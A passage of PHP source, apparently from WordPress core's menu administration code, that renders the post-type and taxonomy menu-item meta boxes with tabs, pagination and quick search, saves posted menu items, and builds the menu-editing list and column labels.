	$pagenum  = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
	$offset   = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;

	$args = array(
		'offset'                 => $offset,
		'order'                  => 'ASC',
		'orderby'                => 'title',
		'posts_per_page'         => $per_page,
		'post_type'              => $post_type_name,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
	);

	if ( isset( $box['args']->_default_query ) ) {
		$args = array_merge( $args, (array) $box['args']->_default_query );
	}

	/*
	 * If we're dealing with pages, let's prioritize the Front Page,
	 * Posts Page and Privacy Policy Page at the top of the list.
	 */
	$important_pages = array();
	if ( 'page' === $post_type_name ) {
		$suppress_page_ids = array();

		// Insert Front Page or custom Home link.
		$front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;

		$front_page_obj = null;

		if ( ! empty( $front_page ) ) {
			$front_page_obj = get_post( $front_page );
		}

		if ( $front_page_obj ) {
			$front_page_obj->front_or_home = true;

			$important_pages[]   = $front_page_obj;
			$suppress_page_ids[] = $front_page_obj->ID;
		} else {
			$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
			$front_page_obj        = (object) array(
				'front_or_home' => true,
				'ID'            => 0,
				'object_id'     => $_nav_menu_placeholder,
				'post_content'  => '',
				'post_excerpt'  => '',
				'post_parent'   => '',
				'post_title'    => _x( 'Home', 'nav menu home label' ),
				'post_type'     => 'nav_menu_item',
				'type'          => 'custom',
				'url'           => home_url( '/' ),
			);

			$important_pages[] = $front_page_obj;
		}

		// Insert Posts Page.
		$posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0;

		if ( ! empty( $posts_page ) ) {
			$posts_page_obj = get_post( $posts_page );

			if ( $posts_page_obj ) {
				$front_page_obj->posts_page = true;

				$important_pages[]   = $posts_page_obj;
				$suppress_page_ids[] = $posts_page_obj->ID;
			}
		}

		// Insert Privacy Policy Page.
		$privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		if ( ! empty( $privacy_policy_page_id ) ) {
			$privacy_policy_page = get_post( $privacy_policy_page_id );

			if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) {
				$privacy_policy_page->privacy_policy_page = true;

				$important_pages[]   = $privacy_policy_page;
				$suppress_page_ids[] = $privacy_policy_page->ID;
			}
		}

		// Add suppression array to arguments for WP_Query.
		if ( ! empty( $suppress_page_ids ) ) {
			$args['post__not_in'] = $suppress_page_ids;
		}
	}

	// @todo Transient caching of these results with proper invalidation on updating of a post of this type.
	$get_posts = new WP_Query();
	$posts     = $get_posts->query( $args );

	// Only suppress and insert when more than just suppression pages available.
	if ( ! $get_posts->post_count ) {
		if ( ! empty( $suppress_page_ids ) ) {
			unset( $args['post__not_in'] );
			$get_posts = new WP_Query();
			$posts     = $get_posts->query( $args );
		} else {
			echo '<p>' . __( 'No items.' ) . '</p>';
			return;
		}
	} elseif ( ! empty( $important_pages ) ) {
		$posts = array_merge( $important_pages, $posts );
	}

	$num_pages = $get_posts->max_num_pages;

	$page_links = paginate_links(
		array(
			'base'               => add_query_arg(
				array(
					$tab_name     => 'all',
					'paged'       => '%#%',
					'item-type'   => 'post_type',
					'item-object' => $post_type_name,
				)
			),
			'format'             => '',
			'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
			'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
			/* translators: Hidden accessibility text. */
			'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
			'total'              => $num_pages,
			'current'            => $pagenum,
		)
	);

	$db_fields = false;
	if ( is_post_type_hierarchical( $post_type_name ) ) {
		$db_fields = array(
			'parent' => 'post_parent',
			'id'     => 'ID',
		);
	}

	$walker = new Walker_Nav_Menu_Checklist( $db_fields );

	$current_tab = 'most-recent';

	if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'search' ), true ) ) {
		$current_tab = $_REQUEST[ $tab_name ];
	}

	if ( ! empty( $_REQUEST[ "quick-search-posttype-{$post_type_name}" ] ) ) {
		$current_tab = 'search';
	}

	$removed_args = array(
		'action',
		'customlink-tab',
		'edit-menu-item',
		'menu-item',
		'page-tab',
		'_wpnonce',
	);

	$most_recent_url = '';
	$view_all_url    = '';
	$search_url      = '';

	if ( $nav_menu_selected_id ) {
		$most_recent_url = add_query_arg( $tab_name, 'most-recent', remove_query_arg( $removed_args ) );
		$view_all_url    = add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) );
		$search_url      = add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) );
	}
	?>
	<div id="<?php echo esc_attr( "posttype-{$post_type_name}" ); ?>" class="posttypediv">
		<ul id="<?php echo esc_attr( "posttype-{$post_type_name}-tabs" ); ?>" class="posttype-tabs add-menu-item-tabs">
			<li <?php echo ( 'most-recent' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-most-recent" ); ?>"
					href="<?php echo esc_url( $most_recent_url . "#tabs-panel-posttype-{$post_type_name}-most-recent" ); ?>"
				>
					<?php _e( 'Most Recent' ); ?>
				</a>
			</li>
			<li <?php echo ( 'all' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "{$post_type_name}-all" ); ?>"
					href="<?php echo esc_url( $view_all_url . "#{$post_type_name}-all" ); ?>"
				>
					<?php _e( 'View All' ); ?>
				</a>
			</li>
			<li <?php echo ( 'search' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-search" ); ?>"
					href="<?php echo esc_url( $search_url . "#tabs-panel-posttype-{$post_type_name}-search" ); ?>"
				>
					<?php _e( 'Search' ); ?>
				</a>
			</li>
		</ul><!-- .posttype-tabs -->

		<div id="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-most-recent" ); ?>"
			class="tabs-panel <?php echo ( 'most-recent' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php esc_attr_e( 'Most Recent' ); ?>" tabindex="0"
		>
			<ul id="<?php echo esc_attr( "{$post_type_name}checklist-most-recent" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$recent_args = array_merge(
					$args,
					array(
						'orderby'        => 'post_date',
						'order'          => 'DESC',
						'posts_per_page' => 15,
					)
				);
				$most_recent = $get_posts->query( $recent_args );

				$args['walker'] = $walker;

				/**
				 * Filters the posts displayed in the 'Most Recent' tab of the current
				 * post type's menu items meta box.
				 *
				 * The dynamic portion of the hook name, `$post_type_name`, refers to the post type name.
				 *
				 * Possible hook names include:
				 *
				 *  - `nav_menu_items_post_recent`
				 *  - `nav_menu_items_page_recent`
				 *
				 * @since 4.3.0
				 * @since 4.9.0 Added the `$recent_args` parameter.
				 *
				 * @param WP_Post[] $most_recent An array of post objects being listed.
				 * @param array     $args        An array of `WP_Query` arguments for the meta box.
				 * @param array     $box         Arguments passed to `wp_nav_menu_item_post_type_meta_box()`.
				 * @param array     $recent_args An array of `WP_Query` arguments for 'Most Recent' tab.
				 */
				$most_recent = apply_filters(
					"nav_menu_items_{$post_type_name}_recent",
					$most_recent,
					$args,
					$box,
					$recent_args
				);

				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $most_recent ),
					0,
					(object) $args
				);
				?>
			</ul>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-search" ); ?>"
			class="tabs-panel <?php echo ( 'search' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $post_type->labels->search_items ); ?>" tabindex="0"
		>
			<?php
			if ( isset( $_REQUEST[ "quick-search-posttype-{$post_type_name}" ] ) ) {
				$searched       = esc_attr( $_REQUEST[ "quick-search-posttype-{$post_type_name}" ] );
				$search_results = get_posts(
					array(
						's'         => $searched,
						'post_type' => $post_type_name,
						'fields'    => 'all',
						'order'     => 'DESC',
					)
				);
			} else {
				$searched       = '';
				$search_results = array();
			}
			?>
			<p class="quick-search-wrap">
				<label for="<?php echo esc_attr( "quick-search-posttype-{$post_type_name}" ); ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search' );
					?>
				</label>
				<input type="search"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="quick-search" value="<?php echo $searched; ?>"
					name="<?php echo esc_attr( "quick-search-posttype-{$post_type_name}" ); ?>"
					id="<?php echo esc_attr( "quick-search-posttype-{$post_type_name}" ); ?>"
				/>
				<span class="spinner"></span>
				<?php
				submit_button(
					__( 'Search' ),
					'small quick-search-submit hide-if-js',
					'submit',
					false,
					array( 'id' => "submit-quick-search-posttype-{$post_type_name}" )
				);
				?>
			</p>

			<ul id="<?php echo esc_attr( "{$post_type_name}-search-checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$post_type_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $search_results ),
					0,
					(object) $args
				);
				?>
			<?php elseif ( is_wp_error( $search_results ) ) : ?>
				<li><?php echo $search_results->get_error_message(); ?></li>
			<?php elseif ( ! empty( $searched ) ) : ?>
				<li><?php _e( 'No results found.' ); ?></li>
			<?php endif; ?>
			</ul>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "{$post_type_name}-all" ); ?>"
			class="tabs-panel tabs-panel-view-all <?php echo ( 'all' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $post_type->labels->all_items ); ?>" tabindex="0"
		>
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>

			<ul id="<?php echo esc_attr( "{$post_type_name}checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$post_type_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$args['walker'] = $walker;

				if ( $post_type->has_archive ) {
					$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
					array_unshift(
						$posts,
						(object) array(
							'ID'           => 0,
							'object_id'    => $_nav_menu_placeholder,
							'object'       => $post_type_name,
							'post_content' => '',
							'post_excerpt' => '',
							'post_title'   => $post_type->labels->archives,
							'post_type'    => 'nav_menu_item',
							'type'         => 'post_type_archive',
							'url'          => get_post_type_archive_link( $post_type_name ),
						)
					);
				}

				/**
				 * Filters the posts displayed in the 'View All' tab of the current
				 * post type's menu items meta box.
				 *
				 * The dynamic portion of the hook name, `$post_type_name`, refers
				 * to the slug of the current post type.
				 *
				 * Possible hook names include:
				 *
				 *  - `nav_menu_items_post`
				 *  - `nav_menu_items_page`
				 *
				 * @since 3.2.0
				 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
				 *
				 * @see WP_Query::query()
				 *
				 * @param object[]     $posts     The posts for the current post type. Mostly `WP_Post` objects, but
				 *                                can also contain "fake" post objects to represent other menu items.
				 * @param array        $args      An array of `WP_Query` arguments.
				 * @param WP_Post_Type $post_type The current post type object for this menu item meta box.
				 */
				$posts = apply_filters(
					"nav_menu_items_{$post_type_name}",
					$posts,
					$args,
					$post_type
				);

				$checkbox_items = walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $posts ),
					0,
					(object) $args
				);

				echo $checkbox_items;
				?>
			</ul>

			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
		</div><!-- /.tabs-panel -->

		<p class="button-controls wp-clearfix" data-items-type="<?php echo esc_attr( "posttype-{$post_type_name}" ); ?>">
			<span class="list-controls hide-if-no-js">
				<input type="checkbox"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					id="<?php echo esc_attr( $tab_name ); ?>" class="select-all"
				/>
				<label for="<?php echo esc_attr( $tab_name ); ?>"><?php _e( 'Select All' ); ?></label>
			</span>

			<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>"
					name="add-post-type-menu-item" id="<?php echo esc_attr( "submit-posttype-{$post_type_name}" ); ?>"
				/>
				<span class="spinner"></span>
			</span>
		</p>

	</div><!-- /.posttypediv -->
	<?php
}

/**
 * Displays a meta box for a taxonomy menu item.
 *
 * @since 3.0.0
 *
 * @global int|string $nav_menu_selected_id
 *
 * @param string $data_object Not used.
 * @param array  $box {
 *     Taxonomy menu item meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type object   $args     Extra meta box arguments (the taxonomy object for this meta box).
 * }
 */
function wp_nav_menu_item_taxonomy_meta_box( $data_object, $box ) {
	global $nav_menu_selected_id;

	$taxonomy_name = $box['args']->name;
	$taxonomy      = get_taxonomy( $taxonomy_name );
	$tab_name      = $taxonomy_name . '-tab';

	// Paginate browsing for large numbers of objects.
	$per_page = 50;
	$pagenum  = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
	$offset   = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;

	$args = array(
		'taxonomy'     => $taxonomy_name,
		'child_of'     => 0,
		'exclude'      => '',
		'hide_empty'   => false,
		'hierarchical' => 1,
		'include'      => '',
		'number'       => $per_page,
		'offset'       => $offset,
		'order'        => 'ASC',
		'orderby'      => 'name',
		'pad_counts'   => false,
	);

	$terms = get_terms( $args );

	if ( ! $terms || is_wp_error( $terms ) ) {
		echo '<p>' . __( 'No items.' ) . '</p>';
		return;
	}

	$num_pages = (int) ceil(
		wp_count_terms(
			array_merge(
				$args,
				array(
					'number' => '',
					'offset' => '',
				)
			)
		) / $per_page
	);

	$page_links = paginate_links(
		array(
			'base'               => add_query_arg(
				array(
					$tab_name     => 'all',
					'paged'       => '%#%',
					'item-type'   => 'taxonomy',
					'item-object' => $taxonomy_name,
				)
			),
			'format'             => '',
			'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
			'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
			/* translators: Hidden accessibility text. */
			'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
			'total'              => $num_pages,
			'current'            => $pagenum,
		)
	);

	$db_fields = false;
	if ( is_taxonomy_hierarchical( $taxonomy_name ) ) {
		$db_fields = array(
			'parent' => 'parent',
			'id'     => 'term_id',
		);
	}

	$walker = new Walker_Nav_Menu_Checklist( $db_fields );

	$current_tab = 'most-used';

	if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'most-used', 'search' ), true ) ) {
		$current_tab = $_REQUEST[ $tab_name ];
	}

	if ( ! empty( $_REQUEST[ "quick-search-taxonomy-{$taxonomy_name}" ] ) ) {
		$current_tab = 'search';
	}

	$removed_args = array(
		'action',
		'customlink-tab',
		'edit-menu-item',
		'menu-item',
		'page-tab',
		'_wpnonce',
	);

	$most_used_url = '';
	$view_all_url  = '';
	$search_url    = '';

	if ( $nav_menu_selected_id ) {
		$most_used_url = add_query_arg( $tab_name, 'most-used', remove_query_arg( $removed_args ) );
		$view_all_url  = add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) );
		$search_url    = add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) );
	}
	?>
	<div id="<?php echo esc_attr( "taxonomy-{$taxonomy_name}" ); ?>" class="taxonomydiv">
		<ul id="<?php echo esc_attr( "taxonomy-{$taxonomy_name}-tabs" ); ?>" class="taxonomy-tabs add-menu-item-tabs">
			<li <?php echo ( 'most-used' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-pop" ); ?>"
					href="<?php echo esc_url( $most_used_url . "#tabs-panel-{$taxonomy_name}-pop" ); ?>"
				>
					<?php echo esc_html( $taxonomy->labels->most_used ); ?>
				</a>
			</li>
			<li <?php echo ( 'all' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-all" ); ?>"
					href="<?php echo esc_url( $view_all_url . "#tabs-panel-{$taxonomy_name}-all" ); ?>"
				>
					<?php _e( 'View All' ); ?>
				</a>
			</li>
			<li <?php echo ( 'search' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-search-taxonomy-{$taxonomy_name}" ); ?>"
					href="<?php echo esc_url( $search_url . "#tabs-panel-search-taxonomy-{$taxonomy_name}" ); ?>"
				>
					<?php _e( 'Search' ); ?>
				</a>
			</li>
		</ul><!-- .taxonomy-tabs -->

		<div id="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-pop" ); ?>"
			class="tabs-panel <?php echo ( 'most-used' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $taxonomy->labels->most_used ); ?>" tabindex="0"
		>
			<ul id="<?php echo esc_attr( "{$taxonomy_name}checklist-pop" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$popular_terms = get_terms(
					array(
						'taxonomy'     => $taxonomy_name,
						'orderby'      => 'count',
						'order'        => 'DESC',
						'number'       => 10,
						'hierarchical' => false,
					)
				);

				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $popular_terms ),
					0,
					(object) $args
				);
				?>
			</ul>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-all" ); ?>"
			class="tabs-panel tabs-panel-view-all <?php echo ( 'all' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $taxonomy->labels->all_items ); ?>" tabindex="0"
		>
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>

			<ul id="<?php echo esc_attr( "{$taxonomy_name}checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$taxonomy_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $terms ),
					0,
					(object) $args
				);
				?>
			</ul>

			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "tabs-panel-search-taxonomy-{$taxonomy_name}" ); ?>"
			class="tabs-panel <?php echo ( 'search' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $taxonomy->labels->search_items ); ?>" tabindex="0">
			<?php
			if ( isset( $_REQUEST[ "quick-search-taxonomy-{$taxonomy_name}" ] ) ) {
				$searched       = esc_attr( $_REQUEST[ "quick-search-taxonomy-{$taxonomy_name}" ] );
				$search_results = get_terms(
					array(
						'taxonomy'     => $taxonomy_name,
						'name__like'   => $searched,
						'fields'       => 'all',
						'orderby'      => 'count',
						'order'        => 'DESC',
						'hierarchical' => false,
					)
				);
			} else {
				$searched       = '';
				$search_results = array();
			}
			?>
			<p class="quick-search-wrap">
				<label for="<?php echo esc_attr( "quick-search-taxonomy-{$taxonomy_name}" ); ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search' );
					?>
				</label>
				<input type="search"
					class="quick-search" value="<?php echo $searched; ?>"
					name="<?php echo esc_attr( "quick-search-taxonomy-{$taxonomy_name}" ); ?>"
					id="<?php echo esc_attr( "quick-search-taxonomy-{$taxonomy_name}" ); ?>"
				/>
				<span class="spinner"></span>
				<?php
				submit_button(
					__( 'Search' ),
					'small quick-search-submit hide-if-js',
					'submit',
					false,
					array( 'id' => "submit-quick-search-taxonomy-{$taxonomy_name}" )
				);
				?>
			</p>

			<ul id="<?php echo esc_attr( "{$taxonomy_name}-search-checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$taxonomy_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $search_results ),
					0,
					(object) $args
				);
				?>
			<?php elseif ( is_wp_error( $search_results ) ) : ?>
				<li><?php echo $search_results->get_error_message(); ?></li>
			<?php elseif ( ! empty( $searched ) ) : ?>
				<li><?php _e( 'No results found.' ); ?></li>
			<?php endif; ?>
			</ul>
		</div><!-- /.tabs-panel -->

		<p class="button-controls wp-clearfix" data-items-type="<?php echo esc_attr( "taxonomy-{$taxonomy_name}" ); ?>">
			<span class="list-controls hide-if-no-js">
				<input type="checkbox"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					id="<?php echo esc_attr( $tab_name ); ?>" class="select-all"
				/>
				<label for="<?php echo esc_attr( $tab_name ); ?>"><?php _e( 'Select All' ); ?></label>
			</span>

			<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>"
					name="add-taxonomy-menu-item" id="<?php echo esc_attr( "submit-taxonomy-{$taxonomy_name}" ); ?>"
				/>
				<span class="spinner"></span>
			</span>
		</p>

	</div><!-- /.taxonomydiv -->
	<?php
}

/**
 * Save posted nav menu item data.
 *
 * @since 3.0.0
 *
 * @param int     $menu_id   The menu ID for which to save this item. Value of 0 makes a draft, orphaned menu item. Default 0.
 * @param array[] $menu_data The unsanitized POSTed menu item data.
 * @return int[] The database IDs of the items saved
 */
function wp_save_nav_menu_items( $menu_id = 0, $menu_data = array() ) {
	$menu_id     = (int) $menu_id;
	$items_saved = array();

	if ( 0 === $menu_id || is_nav_menu( $menu_id ) ) {

		// Loop through all the menu items' POST values.
		foreach ( (array) $menu_data as $_possible_db_id => $_item_object_data ) {
			if (
				// Checkbox is not checked.
				empty( $_item_object_data['menu-item-object-id'] ) &&
				(
					// And item type either isn't set.
					! isset( $_item_object_data['menu-item-type'] ) ||
					// Or URL is the default.
					in_array( $_item_object_data['menu-item-url'], array( 'https://', 'http://', '' ), true ) ||
					// Or it's not a custom menu item (but not the custom home page).
					! ( 'custom' === $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) ||
					// Or it *is* a custom menu item that already exists.
					! empty( $_item_object_data['menu-item-db-id'] )
				)
			) {
				// Then this potential menu item is not getting added to this menu.
				continue;
			}

			// If this possible menu item doesn't actually have a menu database ID yet.
			if (
				empty( $_item_object_data['menu-item-db-id'] ) ||
				( 0 > $_possible_db_id ) ||
				$_possible_db_id !== (int) $_item_object_data['menu-item-db-id']
			) {
				$_actual_db_id = 0;
			} else {
				$_actual_db_id = (int) $_item_object_data['menu-item-db-id'];
			}

			$args = array(
				'menu-item-db-id'       => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ),
				'menu-item-object-id'   => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ),
				'menu-item-object'      => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ),
				'menu-item-parent-id'   => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ),
				'menu-item-position'    => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ),
				'menu-item-type'        => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ),
				'menu-item-title'       => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ),
				'menu-item-url'         => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ),
				'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ),
				'menu-item-attr-title'  => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ),
				'menu-item-target'      => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ),
				'menu-item-classes'     => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ),
				'menu-item-xfn'         => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ),
			);

			$items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args );

		}
	}

	return $items_saved;
}

/**
 * Adds custom arguments to some of the meta box object types.
 *
 * @since 3.0.0
 *
 * @access private
 *
 * @param object $data_object The post type or taxonomy meta-object.
 * @return object The post type or taxonomy object.
 */
function _wp_nav_menu_meta_box_object( $data_object = null ) {
	if ( isset( $data_object->name ) ) {

		if ( 'page' === $data_object->name ) {
			$data_object->_default_query = array(
				'orderby'     => 'menu_order title',
				'post_status' => 'publish',
			);

			// Posts should show only published items.
		} elseif ( 'post' === $data_object->name ) {
			$data_object->_default_query = array(
				'post_status' => 'publish',
			);

			// Categories should be in reverse chronological order.
		} elseif ( 'category' === $data_object->name ) {
			$data_object->_default_query = array(
				'orderby' => 'id',
				'order'   => 'DESC',
			);

			// Custom post types should show only published items.
		} else {
			$data_object->_default_query = array(
				'post_status' => 'publish',
			);
		}
	}

	return $data_object;
}

/**
 * Returns the menu formatted to edit.
 *
 * @since 3.0.0
 *
 * @param int $menu_id Optional. The ID of the menu to format. Default 0.
 * @return string|WP_Error The menu formatted to edit or error object on failure.
 */
function wp_get_nav_menu_to_edit( $menu_id = 0 ) {
	$menu = wp_get_nav_menu_object( $menu_id );

	// If the menu exists, get its items.
	if ( is_nav_menu( $menu ) ) {
		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'post_status' => 'any' ) );
		$result     = '<div id="menu-instructions" class="post-body-plain';
		$result    .= ( ! empty( $menu_items ) ) ? ' menu-instructions-inactive">' : '">';
		$result    .= '<p>' . __( 'Add menu items from the column on the left.' ) . '</p>';
		$result    .= '</div>';

		if ( empty( $menu_items ) ) {
			return $result . ' <ul class="menu" id="menu-to-edit"> </ul>';
		}

		/**
		 * Filters the Walker class used when adding nav menu items.
		 *
		 * @since 3.0.0
		 *
		 * @param string $class   The walker class to use. Default 'Walker_Nav_Menu_Edit'.
		 * @param int    $menu_id ID of the menu being rendered.
		 */
		$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id );

		if ( class_exists( $walker_class_name ) ) {
			$walker = new $walker_class_name();
		} else {
			return new WP_Error(
				'menu_walker_not_exist',
				sprintf(
					/* translators: %s: Walker class name. */
					__( 'The Walker class named %s does not exist.' ),
					'<strong>' . $walker_class_name . '</strong>'
				)
			);
		}

		$some_pending_menu_items = false;
		$some_invalid_menu_items = false;

		foreach ( (array) $menu_items as $menu_item ) {
			if ( isset( $menu_item->post_status ) && 'draft' === $menu_item->post_status ) {
				$some_pending_menu_items = true;
			}
			if ( ! empty( $menu_item->_invalid ) ) {
				$some_invalid_menu_items = true;
			}
		}

		if ( $some_pending_menu_items ) {
			$message     = __( 'Click Save Menu to make pending menu items public.' );
			$notice_args = array(
				'type'               => 'info',
				'additional_classes' => array( 'notice-alt', 'inline' ),
			);
			$result     .= wp_get_admin_notice( $message, $notice_args );
		}

		if ( $some_invalid_menu_items ) {
			$message     = __( 'There are some invalid menu items. Please check or delete them.' );
			$notice_args = array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt', 'inline' ),
			);
			$result     .= wp_get_admin_notice( $message, $notice_args );
		}

		$result .= '<ul class="menu" id="menu-to-edit"> ';
		$result .= walk_nav_menu_tree(
			array_map( 'wp_setup_nav_menu_item', $menu_items ),
			0,
			(object) array( 'walker' => $walker )
		);
		$result .= ' </ul> ';

		return $result;
	} elseif ( is_wp_error( $menu ) ) {
		return $menu;
	}
}

/**
 * Returns the columns for the nav menus page.
 *
 * @since 3.0.0
 *
 * @return string[] Array of column titles keyed by their column name.
 */
function wp_nav_menu_manage_columns() {
	return array(
		'_title'          => __( 'Show advanced menu properties' ),
		'cb'              => '<input type="checkbox" />',
		'link-target'     => __( 'Link Target' ),
		'title-attribute' => __( 'Title Attribute' ),
		'css-classes'     => __( 'CSS Classes' ),
		'xfn'             => __( 'Link Relationship (XFN)' ),
		'description'     => __( 'Description' ),
	);
}

/**
 * Deletes orphaned draft menu items
 *
 * @access private
